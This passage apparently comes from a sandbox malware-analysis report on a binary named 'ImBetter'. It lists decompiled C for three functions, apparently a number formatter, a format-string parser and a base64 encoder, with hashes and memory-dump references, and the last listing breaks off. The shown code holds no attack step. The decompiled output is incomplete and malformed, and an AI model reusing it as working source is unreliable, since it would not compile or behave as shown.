Opcode ID: 3e81acd0b6633a1aec4c3908a206aa236184ed841bcffeca3d0fb5039b1caee7
Instruction ID: df704c8b64a4da9d32e0c747d8f2cd5aa1449ecf57f9c27c5683295f80bcc541
Opcode Fuzzy Hash: 3e81acd0b6633a1aec4c3908a206aa236184ed841bcffeca3d0fb5039b1caee7
Instruction Fuzzy Hash: 56F08175724A8583E700EB25EC902AAB3B6FB98780FA44136DA4D83368CF3CD4608705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2EE48 Relevance: 1.5, Strings: 1, Instructions: 260
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF7E6B2EE48(void* __rax, long long __rbx, unsigned int* __rcx, signed long long __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long __r11, long long _a8, long long _a16, long long _a24, char* _a40, signed int _a48, signed int _a56, intOrPtr _a64, intOrPtr _a72, long long _a80) {
				void* _v40;
				long long _v48;
				intOrPtr _v56;
				intOrPtr _v64;
				signed int _v72;
				unsigned int* _v80;
				long long _v88;
				void* __rdi;
				intOrPtr _t83;
				void* _t84;
				void* _t86;
				unsigned int* _t120;
				signed int _t121;
				void* _t139;
				char* _t158;
				unsigned long long _t170;
				char* _t184;
				char* _t185;
				intOrPtr _t186;
				unsigned int* _t189;
				char* _t192;
				intOrPtr* _t197;
				intOrPtr* _t198;
				void* _t202;
				void* _t203;
				signed long long _t206;
				signed long long _t211;
				signed long long _t214;
				void* _t217;
				char* _t219;
				void* _t220;
				signed int* _t222;
				signed int* _t231;
				signed int* _t232;
				signed int* _t233;
				signed int* _t239;
				long long _t243;
				void* _t245;
				intOrPtr* _t246;
				unsigned int* _t247;

				_t243 = __r11;
				_t229 = __r8;
				_t224 = __rbp;
				_t218 = __rsi;
				_t206 = __rdx;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				r11d = 0;
				 *__rdx = r11b;
				_t120 =  >=  ? _a48 : r11d;
				_t184 = __rdx;
				_t247 = __rcx;
				_t5 = _t217 + 0xb; // 0xb
				if (__r8 - _t5 > 0) goto 0xe6b2eec0;
				_t189 = _a80;
				_t7 = _t243 + 0x22; // 0x22
				_v80 = _t189;
				r9d = 0;
				r8d = 0;
				_v88 = __r11;
				_t189[0xc] = 1;
				_t189[0xb] = _t7;
				E00007FF77FF7E6B258C4(__rax, __rdx, _t189, __rdx, __rsi, __rbp, __r8);
				goto 0xe6b2f1de;
				if (( *_t189 >> 0x00000034 & _t206) != _t206) goto 0xe6b2ef5f;
				_t236 = __r9;
				_v48 = _a80;
				_v56 = _a72;
				_v64 = _a64;
				_t158 = _a40;
				_v72 = r11b;
				_v80 = _t120;
				_v88 = _t158;
				if (E00007FF77FF7E6B2F1FC(_t184, _t247, _t184, _t217, _t218, _t229, __r9) == 0) goto 0xe6b2ef2e;
				 *_t184 = 0;
				goto 0xe6b2f1de;
				_t192 = _t184;
				E00007FF77FF7E6B3F7B8(_t76, _t7, 0x65, _t158, _t184, _t192, _t236);
				if (_t158 == 0) goto 0xe6b2f1dc;
				 *_t158 = ((_a56 ^ 0x00000001) << 5) + 0x50;
				 *((char*)(_t158 + 3)) = 0;
				goto 0xe6b2f1dc;
				if (_t192 >= 0) goto 0xe6b2ef71;
				 *_t184 = 0x2d;
				_t185 = _t184 + 1;
				_t246 = _t185 + 1;
				r12d = 0x3ff;
				r15d = (_a56 ^ 0x00000001) & 0x000000ff;
				r8d = 0x30;
				_a48 = r15d;
				if ((0x00000000 &  *_t247) != 0) goto 0xe6b2efd0;
				 *_t185 = r8b;
				asm("dec ebp");
				r12d = r12d & 0x000003fe;
				goto 0xe6b2efd3;
				 *_t185 = 0x31;
				_t219 = _t246 + 1;
				if (_t120 != 0) goto 0xe6b2efe0;
				goto 0xe6b2f017;
				_t186 = _a80;
				if ( *((intOrPtr*)(_t186 + 0x28)) != r11b) goto 0xe6b2f007;
				E00007FF77FF7E6B28660( ~( *_t247 & 0xffffffff), _t186, _t186, _t184, _t219);
				r11d = 0;
				_t32 = _t243 + 0x30; // 0x30
				r8d = _t32;
				_t83 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t186 + 0x18)) + 0xf8))))));
				 *_t246 = _t83;
				if (( *_t247 & 0xffffffff) <= 0) goto 0xe6b2f0bb;
				if (_t120 <= 0) goto 0xe6b2f065;
				_t84 = _t83 + r8w;
				_t139 = _t84 - 0x39;
				if (_t139 <= 0) goto 0xe6b2f052;
				 *_t219 = _t84 + (r15d << 5) + 7;
				_t121 = _t120 - 1;
				_t220 = _t219 + 1;
				if (_t139 >= 0) goto 0xe6b2f032;
				goto 0xe6b2f0b3;
				r9d = _a72;
				r8d = r8w & 0xffff;
				_t86 = E00007FF77FF7E6B2F860(_t84 + (r15d << 5) + 7, _t7, _t186, _t247, 0 >> 4, _t217, _t220, _t224);
				r11d = 0;
				if (_t86 == 0) goto 0xe6b2f0b3;
				_t197 = _t220 - 1;
				if (0x47 != 0) goto 0xe6b2f098;
				 *_t197 = 0x30;
				_t198 = _t197 - 1;
				goto 0xe6b2f087;
				if (_t198 == _t246) goto 0xe6b2f0b0;
				if ( *_t197 != 0x39) goto 0xe6b2f0a8;
				bpl = bpl + 0x3a;
				goto 0xe6b2f0ab;
				 *_t198 = bpl;
				goto 0xe6b2f0b3;
				 *((char*)(_t198 - 1)) =  *((char*)(_t198 - 1)) + 1;
				r15d = _a48;
				if (_t121 <= 0) goto 0xe6b2f0dc;
				r8d = _t121;
				E00007FF77FF7E6B3EA30();
				r11d = 0;
				goto 0xe6b2f0e1;
				_t222 =  ==  ? _t246 : _t220 + _t186;
				r15b = r15b << 5;
				r15b = r15b + 0x50;
				 *_t222 = r15b;
				_t239 =  &(_t222[0]);
				_t170 =  *_t247 >> 0x34;
				if ( *_t246 - r11b >= 0) goto 0xe6b2f114;
				_t202 = _t245 - _t170;
				_t47 = _t170 + 2; // 0x2d
				_t90 =  <  ? _t47 : 0x2b;
				_t222[0] =  <  ? _t47 : 0x2b;
				 *_t239 = dil;
				if (_t202 - 0x3e8 < 0) goto 0xe6b2f168;
				_t231 =  &(_t239[0]);
				_t211 = (_t220 - _t245 >> 7) + (_t220 - _t245 >> 7 >> 0x3f);
				 *_t239 = _t217 + _t211;
				_t203 = _t202 + _t211 * 0xfffffc18;
				if (_t231 != _t239) goto 0xe6b2f16e;
				if (_t203 - 0x64 < 0) goto 0xe6b2f1a1;
				_t214 = (_t211 + _t203 >> 6) + (_t211 + _t203 >> 6 >> 0x3f);
				 *_t231 = _t217 + _t214;
				_t232 =  &(_t231[0]);
				if (_t232 != _t239) goto 0xe6b2f1a7;
				if (_t203 + _t214 * 0xffffff9c - 0xa < 0) goto 0xe6b2f1d2;
				 *_t232 = _t217 + (_t214 >> 2) + (_t214 >> 2 >> 0x3f);
				_t233 =  &(_t232[0]);
				 *_t233 = 0x367 + dil;
				_t233[0] = r11b;
				return 0;
			}

0x7ff7e6b2ee48
0x7ff7e6b2ee48
0x7ff7e6b2ee48
0x7ff7e6b2ee48
0x7ff7e6b2ee48
0x7ff7e6b2ee48
0x7ff7e6b2ee4d
0x7ff7e6b2ee52
0x7ff7e6b2ee6b
0x7ff7e6b2ee70
0x7ff7e6b2ee79
0x7ff7e6b2ee7c
0x7ff7e6b2ee7f
0x7ff7e6b2ee82
0x7ff7e6b2ee8b
0x7ff7e6b2ee8d
0x7ff7e6b2ee95
0x7ff7e6b2ee99
0x7ff7e6b2ee9e
0x7ff7e6b2eea1
0x7ff7e6b2eea4
0x7ff7e6b2eeab
0x7ff7e6b2eeaf
0x7ff7e6b2eeb4
0x7ff7e6b2eebb
0x7ff7e6b2eed5
0x7ff7e6b2eee3
0x7ff7e6b2eee6
0x7ff7e6b2eef8
0x7ff7e6b2ef03
0x7ff7e6b2ef07
0x7ff7e6b2ef0f
0x7ff7e6b2ef14
0x7ff7e6b2ef18
0x7ff7e6b2ef24
0x7ff7e6b2ef26
0x7ff7e6b2ef29
0x7ff7e6b2ef33
0x7ff7e6b2ef36
0x7ff7e6b2ef3e
0x7ff7e6b2ef54
0x7ff7e6b2ef56
0x7ff7e6b2ef5a
0x7ff7e6b2ef67
0x7ff7e6b2ef69
0x7ff7e6b2ef6b
0x7ff7e6b2ef78
0x7ff7e6b2ef7e
0x7ff7e6b2ef84
0x7ff7e6b2ef88
0x7ff7e6b2ef91
0x7ff7e6b2efb6
0x7ff7e6b2efb8
0x7ff7e6b2efc4
0x7ff7e6b2efc7
0x7ff7e6b2efce
0x7ff7e6b2efd0
0x7ff7e6b2efd3
0x7ff7e6b2efd9
0x7ff7e6b2efde
0x7ff7e6b2efe0
0x7ff7e6b2efec
0x7ff7e6b2eff1
0x7ff7e6b2eff6
0x7ff7e6b2f003
0x7ff7e6b2f003
0x7ff7e6b2f015
0x7ff7e6b2f017
0x7ff7e6b2f01e
0x7ff7e6b2f037
0x7ff7e6b2f045
0x7ff7e6b2f049
0x7ff7e6b2f04d
0x7ff7e6b2f052
0x7ff7e6b2f054
0x7ff7e6b2f056
0x7ff7e6b2f061
0x7ff7e6b2f063
0x7ff7e6b2f065
0x7ff7e6b2f06d
0x7ff7e6b2f077
0x7ff7e6b2f07c
0x7ff7e6b2f081
0x7ff7e6b2f083
0x7ff7e6b2f08e
0x7ff7e6b2f090
0x7ff7e6b2f093
0x7ff7e6b2f096
0x7ff7e6b2f09b
0x7ff7e6b2f0a0
0x7ff7e6b2f0a2
0x7ff7e6b2f0a6
0x7ff7e6b2f0ab
0x7ff7e6b2f0ae
0x7ff7e6b2f0b0
0x7ff7e6b2f0b3
0x7ff7e6b2f0bd
0x7ff7e6b2f0bf
0x7ff7e6b2f0cf
0x7ff7e6b2f0d7
0x7ff7e6b2f0da
0x7ff7e6b2f0e5
0x7ff7e6b2f0e9
0x7ff7e6b2f0ed
0x7ff7e6b2f0f1
0x7ff7e6b2f0f4
0x7ff7e6b2f0fb
0x7ff7e6b2f10c
0x7ff7e6b2f111
0x7ff7e6b2f11f
0x7ff7e6b2f122
0x7ff7e6b2f125
0x7ff7e6b2f128
0x7ff7e6b2f132
0x7ff7e6b2f13e
0x7ff7e6b2f150
0x7ff7e6b2f156
0x7ff7e6b2f160
0x7ff7e6b2f166
0x7ff7e6b2f16c
0x7ff7e6b2f189
0x7ff7e6b2f18f
0x7ff7e6b2f192
0x7ff7e6b2f19f
0x7ff7e6b2f1a5
0x7ff7e6b2f1c5
0x7ff7e6b2f1c8
0x7ff7e6b2f1d5
0x7ff7e6b2f1d8
0x7ff7e6b2f1fb

Strings

gfffffff, xrefs: 00007FF7E6B2F1A7

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: ea07d6856fad12fdecd781ab5a3969ce9e3be187f6166511d314582ce3fea973
Instruction ID: 9b35e35ecfaca216f1b20506d08866b5bca254592f2bf3dc86bf1560a346d5e3
Opcode Fuzzy Hash: ea07d6856fad12fdecd781ab5a3969ce9e3be187f6166511d314582ce3fea973
Instruction Fuzzy Hash: 3EA18862B283C946EB21DF25E8007ABB7D6EB56B84FA09132DE4D47785DA3DE401C312

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B278A0 Relevance: 1.5, Strings: 1, Instructions: 250
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7E6B278A0(signed int __esi, long long __rbx, void* __rcx, void* __rdx, signed int __rbp, void* __r8, void* __r10, long long _a16, long long _a24) {
				long long _v32;
				long long _v40;
				void* __rdi;
				void* __rsi;
				signed int _t115;
				void* _t120;
				signed int _t123;
				signed int _t136;
				signed int _t138;
				signed int _t142;
				signed int _t151;
				void* _t164;
				intOrPtr _t174;
				intOrPtr* _t176;
				intOrPtr* _t187;
				intOrPtr* _t192;
				void* _t195;
				void* _t197;
				intOrPtr _t205;
				intOrPtr _t207;
				void* _t213;
				void* _t215;
				signed int _t216;
				void* _t221;

				_t221 = __r8;
				_t216 = __rbp;
				_t209 = __rdx;
				_t197 = __rcx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t174 =  *((intOrPtr*)(__rcx + 8));
				_t142 = __esi | 0xffffffff;
				_t195 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x460)) != __rbp) goto 0xe6b278d7;
				 *((char*)(_t174 + 0x30)) = 1;
				 *((intOrPtr*)(_t174 + 0x2c)) = 0x16;
				goto 0xe6b27c13;
				if ( *((intOrPtr*)(__rcx + 0x10)) != __rbp) goto 0xe6b2790d;
				 *((char*)(_t174 + 0x30)) = 1;
				r9d = 0;
				 *((intOrPtr*)(_t174 + 0x2c)) = 0x16;
				r8d = 0;
				_v32 =  *((intOrPtr*)(__rcx + 8));
				_v40 = __rbp;
				E00007FF77FF7E6B258C4( *((intOrPtr*)(__rcx + 8)), __rcx, __rcx, __rdx, _t215, __rbp, __r8);
				goto 0xe6b27bc1;
				 *((intOrPtr*)(_t197 + 0x468)) =  *((intOrPtr*)(_t197 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t197 + 0x468)) == 2) goto 0xe6b27bbe;
				_t176 =  *((intOrPtr*)(_t195 + 0x10));
				 *((intOrPtr*)(_t195 + 0x48)) = 0;
				 *(_t195 + 0x24) = bpl;
				r8b =  *_t176;
				 *((long long*)(_t195 + 0x10)) = _t176 + 1;
				 *((intOrPtr*)(_t195 + 0x39)) = r8b;
				if (r8b == 0) goto 0xe6b27bab;
				r9b = r8b;
				if ( *(_t195 + 0x20) < 0) goto 0xe6b27ba0;
				if (_t221 - 0x20 - 0x5a > 0) goto 0xe6b2796f;
				goto 0xe6b27972;
				_t115 =  *(0xe6b4f530 + (r8b - 0x20 + (r8b - 0x20) * 8 + r8b - 0x20) * 2) & 0x000000ff;
				 *(_t195 + 0x24) = _t115;
				if (_t115 - 8 >= 0) goto 0xe6b27c00;
				_t151 = _t115;
				if (_t151 == 0) goto 0xe6b27aaf;
				if (_t151 == 0) goto 0xe6b27a98;
				if (_t151 == 0) goto 0xe6b27a49;
				if (_t151 == 0) goto 0xe6b27a12;
				if (_t151 == 0) goto 0xe6b27a0a;
				if (_t151 == 0) goto 0xe6b279e0;
				if (_t151 == 0) goto 0xe6b279d6;
				if (_t115 - 0xfffffffffffffffc != 1) goto 0xe6b27c2c;
				E00007FF77FF7E6B27DB4(_t195, _t195, _t209, _t213, _t215, _t221);
				goto 0xe6b27a3c;
				E00007FF77FF7E6B27C30(_t195, _t209);
				goto 0xe6b27a3c;
				if (r8b == 0x2a) goto 0xe6b279f4;
				E00007FF77FF7E6B27810(_t195, _t195, _t195 + 0x30, _t215);
				goto 0xe6b27a3c;
				 *((long long*)(_t195 + 0x18)) =  *((long long*)(_t195 + 0x18)) + 8;
				_t136 =  *( *((intOrPtr*)(_t195 + 0x18)) - 8);
				_t137 =  <  ? _t142 : _t136;
				 *(_t195 + 0x30) =  <  ? _t142 : _t136;
				goto 0xe6b27a3a;
				 *(_t195 + 0x30) = 0;
				goto 0xe6b27b82;
				if (r8b == 0x2a) goto 0xe6b27a1e;
				goto 0xe6b279ea;
				 *((long long*)(_t195 + 0x18)) =  *((long long*)(_t195 + 0x18)) + 8;
				_t138 =  *( *((intOrPtr*)(_t195 + 0x18)) - 8);
				 *(_t195 + 0x2c) = _t138;
				if (_t138 >= 0) goto 0xe6b27a3a;
				 *(_t195 + 0x28) =  *(_t195 + 0x28) | 0x00000004;
				 *(_t195 + 0x2c) =  ~_t138;
				if (1 == 0) goto 0xe6b27c2c;
				goto 0xe6b27b82;
				if (r8b == 0x20) goto 0xe6b27a8f;
				if (r8b == 0x23) goto 0xe6b27a86;
				if (r8b == 0x2b) goto 0xe6b27a7d;
				if (r8b == 0x2d) goto 0xe6b27a74;
				if (r8b != 0x30) goto 0xe6b27b82;
				 *(_t195 + 0x28) =  *(_t195 + 0x28) | 0x00000008;
				goto 0xe6b27b82;
				 *(_t195 + 0x28) =  *(_t195 + 0x28) | 0x00000004;
				goto 0xe6b27b82;
				 *(_t195 + 0x28) =  *(_t195 + 0x28) | 0x00000001;
				goto 0xe6b27b82;
				 *(_t195 + 0x28) =  *(_t195 + 0x28) | 0x00000020;
				goto 0xe6b27b82;
				 *(_t195 + 0x28) =  *(_t195 + 0x28) | 0x00000002;
				goto 0xe6b27b82;
				 *(_t195 + 0x28) = _t216;
				 *(_t195 + 0x38) = bpl;
				 *(_t195 + 0x30) = _t142;
				 *((intOrPtr*)(_t195 + 0x34)) = 0;
				 *(_t195 + 0x4c) = bpl;
				goto 0xe6b27b82;
				 *(_t195 + 0x4c) = bpl;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t195 + 8)) + 0x28)) != bpl) goto 0xe6b27acc;
				_t120 = E00007FF77FF7E6B28660( *((intOrPtr*)(_t195 + 0x18)), _t195,  *((intOrPtr*)(_t195 + 8)), _t195 + 0x2c, _t215);
				r8b =  *((intOrPtr*)(_t195 + 0x39));
				r9b = r8b;
				_t164 = _t120 - _t142;
				if (_t164 < 0) goto 0xe6b27b43;
				if (_t164 == 0) goto 0xe6b27b43;
				_t205 =  *((intOrPtr*)(_t195 + 0x460));
				if ( *((intOrPtr*)(_t205 + 0x10)) !=  *((intOrPtr*)(_t205 + 8))) goto 0xe6b27b0a;
				if ( *((intOrPtr*)(_t205 + 0x18)) == bpl) goto 0xe6b27b05;
				 *(_t195 + 0x20) =  *(_t195 + 0x20) + 1;
				goto 0xe6b27b28;
				 *(_t195 + 0x20) = _t142;
				goto 0xe6b27b28;
				 *(_t195 + 0x20) =  *(_t195 + 0x20) + 1;
				 *((long long*)(_t205 + 0x10)) =  *((long long*)(_t205 + 0x10)) + 1;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 0x460)))))) = r8b;
				 *((long long*)( *((intOrPtr*)(_t195 + 0x460)))) =  *((long long*)( *((intOrPtr*)(_t195 + 0x460)))) + 1;
				_t187 =  *((intOrPtr*)(_t195 + 0x10));
				r9b =  *_t187;
				 *((long long*)(_t195 + 0x10)) = _t187 + 1;
				 *((intOrPtr*)(_t195 + 0x39)) = r9b;
				if (r9b == 0) goto 0xe6b27bd4;
				_t207 =  *((intOrPtr*)(_t195 + 0x460));
				if ( *((intOrPtr*)(_t207 + 0x10)) !=  *((intOrPtr*)(_t207 + 8))) goto 0xe6b27b64;
				if ( *((intOrPtr*)(_t207 + 0x18)) == bpl) goto 0xe6b27b5f;
				 *(_t195 + 0x20) =  *(_t195 + 0x20) + 1;
				goto 0xe6b27b82;
				 *(_t195 + 0x20) = _t142;
				goto 0xe6b27b82;
				 *(_t195 + 0x20) =  *(_t195 + 0x20) + 1;
				 *((long long*)(_t207 + 0x10)) =  *((long long*)(_t207 + 0x10)) + 1;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t195 + 0x460)))))) = r9b;
				 *((long long*)( *((intOrPtr*)(_t195 + 0x460)))) =  *((long long*)( *((intOrPtr*)(_t195 + 0x460)))) + 1;
				_t192 =  *((intOrPtr*)(_t195 + 0x10));
				r8b =  *_t192;
				 *((long long*)(_t195 + 0x10)) = _t192 + 1;
				r9b = r8b;
				 *((intOrPtr*)(_t195 + 0x39)) = r8b;
				if (r8b != 0) goto 0xe6b2794c;
				_t123 =  *(_t195 + 0x24);
				if (_t123 == 0) goto 0xe6b27bab;
				if (_t123 != 7) goto 0xe6b27c00;
				 *((intOrPtr*)(_t195 + 0x468)) =  *((intOrPtr*)(_t195 + 0x468)) + 1;
				if ( *((intOrPtr*)(_t195 + 0x468)) != 2) goto 0xe6b27927;
				return  *(_t195 + 0x20);
			}

0x7ff7e6b278a0
0x7ff7e6b278a0
0x7ff7e6b278a0
0x7ff7e6b278a0
0x7ff7e6b278a0
0x7ff7e6b278a5
0x7ff7e6b278b2
0x7ff7e6b278b6
0x7ff7e6b278bb
0x7ff7e6b278c5
0x7ff7e6b278c7
0x7ff7e6b278cb
0x7ff7e6b278d2
0x7ff7e6b278db
0x7ff7e6b278dd
0x7ff7e6b278e1
0x7ff7e6b278e4
0x7ff7e6b278eb
0x7ff7e6b278f4
0x7ff7e6b278fb
0x7ff7e6b27900
0x7ff7e6b27908
0x7ff7e6b2790d
0x7ff7e6b2791a
0x7ff7e6b27927
0x7ff7e6b2792b
0x7ff7e6b2792e
0x7ff7e6b27932
0x7ff7e6b27938
0x7ff7e6b2793c
0x7ff7e6b27943
0x7ff7e6b27949
0x7ff7e6b2794f
0x7ff7e6b2795b
0x7ff7e6b2796d
0x7ff7e6b27983
0x7ff7e6b27988
0x7ff7e6b2798d
0x7ff7e6b27995
0x7ff7e6b27997
0x7ff7e6b279a0
0x7ff7e6b279a9
0x7ff7e6b279b2
0x7ff7e6b279b7
0x7ff7e6b279bc
0x7ff7e6b279c1
0x7ff7e6b279c6
0x7ff7e6b279cf
0x7ff7e6b279d4
0x7ff7e6b279d9
0x7ff7e6b279de
0x7ff7e6b279e4
0x7ff7e6b279ed
0x7ff7e6b279f2
0x7ff7e6b279f4
0x7ff7e6b279fd
0x7ff7e6b27a02
0x7ff7e6b27a05
0x7ff7e6b27a08
0x7ff7e6b27a0a
0x7ff7e6b27a0d
0x7ff7e6b27a16
0x7ff7e6b27a1c
0x7ff7e6b27a1e
0x7ff7e6b27a27
0x7ff7e6b27a2a
0x7ff7e6b27a2f
0x7ff7e6b27a31
0x7ff7e6b27a37
0x7ff7e6b27a3e
0x7ff7e6b27a44
0x7ff7e6b27a4d
0x7ff7e6b27a53
0x7ff7e6b27a59
0x7ff7e6b27a5f
0x7ff7e6b27a65
0x7ff7e6b27a6b
0x7ff7e6b27a6f
0x7ff7e6b27a74
0x7ff7e6b27a78
0x7ff7e6b27a7d
0x7ff7e6b27a81
0x7ff7e6b27a86
0x7ff7e6b27a8a
0x7ff7e6b27a8f
0x7ff7e6b27a93
0x7ff7e6b27a98
0x7ff7e6b27a9c
0x7ff7e6b27aa0
0x7ff7e6b27aa3
0x7ff7e6b27aa6
0x7ff7e6b27aaa
0x7ff7e6b27ab3
0x7ff7e6b27abb
0x7ff7e6b27ac0
0x7ff7e6b27ac5
0x7ff7e6b27ac9
0x7ff7e6b27ad0
0x7ff7e6b27ad2
0x7ff7e6b27ae7
0x7ff7e6b27ae9
0x7ff7e6b27af8
0x7ff7e6b27afe
0x7ff7e6b27b00
0x7ff7e6b27b03
0x7ff7e6b27b05
0x7ff7e6b27b08
0x7ff7e6b27b0a
0x7ff7e6b27b0d
0x7ff7e6b27b1b
0x7ff7e6b27b25
0x7ff7e6b27b28
0x7ff7e6b27b2c
0x7ff7e6b27b32
0x7ff7e6b27b36
0x7ff7e6b27b3d
0x7ff7e6b27b43
0x7ff7e6b27b52
0x7ff7e6b27b58
0x7ff7e6b27b5a
0x7ff7e6b27b5d
0x7ff7e6b27b5f
0x7ff7e6b27b62
0x7ff7e6b27b64
0x7ff7e6b27b67
0x7ff7e6b27b75
0x7ff7e6b27b7f
0x7ff7e6b27b82
0x7ff7e6b27b86
0x7ff7e6b27b8c
0x7ff7e6b27b90
0x7ff7e6b27b93
0x7ff7e6b27b9a
0x7ff7e6b27ba0
0x7ff7e6b27ba5
0x7ff7e6b27ba9
0x7ff7e6b27bab
0x7ff7e6b27bb8
0x7ff7e6b27bd3

Strings

, xrefs: 00007FF7E6B27A86

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 6ee79c45d88914933eb78fa9e34a2597f2419f521f1d6b85e37818570f3713d4
Instruction ID: ad58ded523ca08e3c32cda6a8ac9bfd70a056f015ceda7eca3652fb07a83c053
Opcode Fuzzy Hash: 6ee79c45d88914933eb78fa9e34a2597f2419f521f1d6b85e37818570f3713d4
Instruction Fuzzy Hash: C4B1DF7292878585E7649F29885437EBFE2E70AB58FB40136CA4E07395CF39D441C72A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B1BFD0 Relevance: 1.5, Strings: 1, Instructions: 245
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF7E6B1BFD0(void* __ecx, long long __rbx, long long __rcx, long long __rdx, void* __r8) {
				void* __rsi;
				void* __rbp;
				signed char _t114;
				void* _t135;
				signed long long _t160;
				unsigned int* _t189;
				unsigned long long _t231;
				unsigned int _t235;
				long long _t242;
				void* _t244;
				void* _t251;
				void* _t253;
				signed long long _t254;
				intOrPtr _t257;
				void* _t259;
				unsigned int _t265;
				long long _t267;
				void* _t269;
				intOrPtr* _t270;
				void* _t272;
				void* _t273;

				 *((long long*)(_t253 + 0x18)) = __rbx;
				_t251 = _t253 - 0x60;
				_t254 = _t253 - 0x160;
				_t160 =  *0xe6b6bbc0; // 0x7a937e77a598
				 *(_t251 + 0x50) = _t160 ^ _t254;
				_t189 = __rdx;
				_t270 = __rcx;
				 *((long long*)(_t254 + 0x40)) = __rcx;
				r13d = 0;
				 *((intOrPtr*)(_t254 + 0x20)) = r13d;
				if ( *0xe6b6e130 -  *((intOrPtr*)(__rdx +  *((intOrPtr*)( *[gs:0x58])))) <= 0) goto 0xe6b1c089;
				E00007FF77FF7E6B3CFD4();
				if ( *0xe6b6e130 != 0xffffffff) goto 0xe6b1c089;
				asm("xorps xmm0, xmm0");
				asm("movups [0x520c1], xmm0");
				 *0xe6b6e120 = _t267;
				 *0xe6b6e128 = _t267;
				_t7 = _t267 + 0x40; // 0x40
				r8d = _t7;
				_t231 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
				E00007FF77FF7E6B02FD0(__rdx, 0xe6b6e110, _t231, __r8);
				E00007FF77FF7E6B3CD64( *0xe6b6e130 - 0xffffffff,  *[gs:0x58]);
				E00007FF77FF7E6B3CF74();
				_t265 = _t189[4];
				r8d = 0xf8;
				E00007FF77FF7E6B3EA30();
				E00007FF77FF7E6B1C3A0(0, _t189, _t254 + 0x50, 0xe6b6e110, _t251, _t272, _t269);
				_t273 = (_t231 >> 1) + (_t231 >> 1) * 2;
				_t242 = _t267;
				if (_t273 == 0) goto 0xe6b1c1f3;
				asm("o16 nop [eax+eax]");
				if (_t189[6] - 0x10 < 0) goto 0xe6b1c0dd;
				_t201 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
				E00007FF77FF7E6B0A2B0( *(( *_t189 >> 2) + ( >=  ?  *0xe6b6e110 : 0xe6b6e110)) & 0x000000ff, _t189, _t254 + 0x60);
				_t135 = _t189[6] - 0x10;
				if (_t135 < 0) goto 0xe6b1c115;
				goto 0xe6b1c11e;
				if (_t135 < 0) goto 0xe6b1c121;
				_t234 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
				E00007FF77FF7E6B0A2B0( *(_t189 + _t242 + ( >=  ?  *0xe6b6e110 : 0xe6b6e110)) & 0x000000ff, _t189, _t254 + 0x60);
				_t235 = _t189[6];
				if (_t235 - 0x10 < 0) goto 0xe6b1c16a;
				goto 0xe6b1c17a;
				_t28 =  &(_t189[0]); // 0x1
				if (_t235 - 0x10 < 0) goto 0xe6b1c17d;
				_t237 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
				_t114 =  *(_t28 + _t242) & 0x0000000f;
				E00007FF77FF7E6B0A2B0( *( *_t189 + ( >=  ?  *0xe6b6e110 : 0xe6b6e110)) & 0x000000ff, _t189, _t254 + 0x60);
				if (_t189[6] - 0x10 < 0) goto 0xe6b1c1bc;
				_t214 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
				E00007FF77FF7E6B0A2B0( *( *((char*)( *_t189 + _t242 + 2)) + ( >=  ?  *0xe6b6e110 : 0xe6b6e110)) & 0x000000ff, _t189, _t254 + 0x60);
				if (_t242 + 3 - _t273 < 0) goto 0xe6b1c0d0;
				if (_t273 - _t265 >= 0) goto 0xe6b1c2d9;
				if (_t189[6] - 0x10 < 0) goto 0xe6b1c209;
				_t217 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
				E00007FF77FF7E6B0A2B0( *(( *_t189 >> 2) + ( >=  ?  *0xe6b6e110 : 0xe6b6e110)) & 0x000000ff, _t189, _t254 + 0x60);
				_t244 = _t273 + 1;
				if (_t244 - _t265 >= 0) goto 0xe6b1c254;
				if (_t189[6] - 0x10 < 0) goto 0xe6b1c249;
				goto 0xe6b1c257;
				if (_t189[6] - 0x10 < 0) goto 0xe6b1c264;
				_t220 =  >=  ?  *0xe6b6e110 : 0xe6b6e110;
